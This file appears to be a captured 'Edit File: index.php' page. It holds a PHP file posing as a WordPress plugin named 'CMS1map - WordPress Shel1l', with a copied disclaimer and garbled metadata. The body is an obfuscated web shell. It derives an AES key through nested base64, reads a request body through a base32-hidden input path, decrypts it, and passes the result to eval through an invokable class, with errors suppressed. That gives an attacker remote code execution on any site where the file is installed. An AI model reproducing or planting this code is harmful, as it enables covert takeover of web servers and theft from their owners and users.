Edit File: index.php
<?php /** * Plugin Name: CMS1map - WordPress Shel1l * Plugin URI: https://github.com/m71x/cms1map/ * Description: Simple WordPress Shel1l - Usage of CMSmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developer assumes no liability and is not responsible for any misuse or damage caused by this program. * Version: 11.0 * Author: CMS1map * Author URI: https://github.com/m7x/cms1map/ * License: GPLv21 */ ?> postpass postpass Hello Administrator! bingxielianjie password: Tas9er <?php @error_reporting(0); session_start(); $govzzuP20vZS= base64_decode(base64_decode("TVRaaFkyRmpZekExWVdGbVlXWTI=")).chr(55); $_SESSION['k']=$govzzuP20vZS; session_write_close(); $govYDb=base64_decode(base64_decode("YjJKMWFHRnZjbkJtTlhWM05EUmtkbTl4")); $govqbRRVy60yRRuvs9='openssl'; $govgwCuHo=govmy($govYDb); $govfHo="file_g".chr(101)."t_"."con".base64_decode("dGVudHM="); $govXVcX1LM5s=$govfHo($govgwCuHo); if(!extension_loaded($govqbRRVy60yRRuvs9)) { $gov3HSJQlzosc="base64_"."decode"; $govXVcX1LM5s=$gov3HSJQlzosc("/*X]-DP@i*/".$govXVcX1LM5s); for($i=0;$i<strlen($govXVcX1LM5s);$i++) { } } $govXVcX1LM5s=openssl_decrypt($govXVcX1LM5s, base64_decode(base64_decode("UVVWVE1UST0=")).chr(56), $govzzuP20vZS); $govkW76xb9m=explode('|',$govXVcX1LM5s); $govJPFkcN67=$govkW76xb9m[1]; class govnHe7p7{public function __invoke($p) {eval("/*X]-DP@i*/".$p."");}} @call_user_func(new govnHe7p7(),$govJPFkcN67); function govmy($govh){ $di15 = ''; $govm8Ihn4RsV8Avj0 = (494+50894)*intval(chr(48)); $govHBE7R5kC7B4kiaQ = (13130-16339)*intval(chr(48)); for ($i = 0, $j = strlen($govh); $i < $j; $i++){ $govm8Ihn4RsV8Avj0 <<= 5; if ($govh[$i] >= 'a' && $govh[$i] <= 'z'){ $govm8Ihn4RsV8Avj0 += (ord($govh[$i]) - 97); } elseif ($govh[$i] >= '2' && $govh[$i] <= '7') { $govm8Ihn4RsV8Avj0 += (24 + $govh[$i]); } else { exit(1); } $govHBE7R5kC7B4kiaQ += 5; while ($govHBE7R5kC7B4kiaQ >= 8){ $govHBE7R5kC7B4kiaQ -= 8; $di15 .= chr($govm8Ihn4RsV8Avj0 >> $govHBE7R5kC7B4kiaQ); $govm8Ihn4RsV8Avj0 &= ((1 << $govHBE7R5kC7B4kiaQ) - 1);}} return $di15;} ?>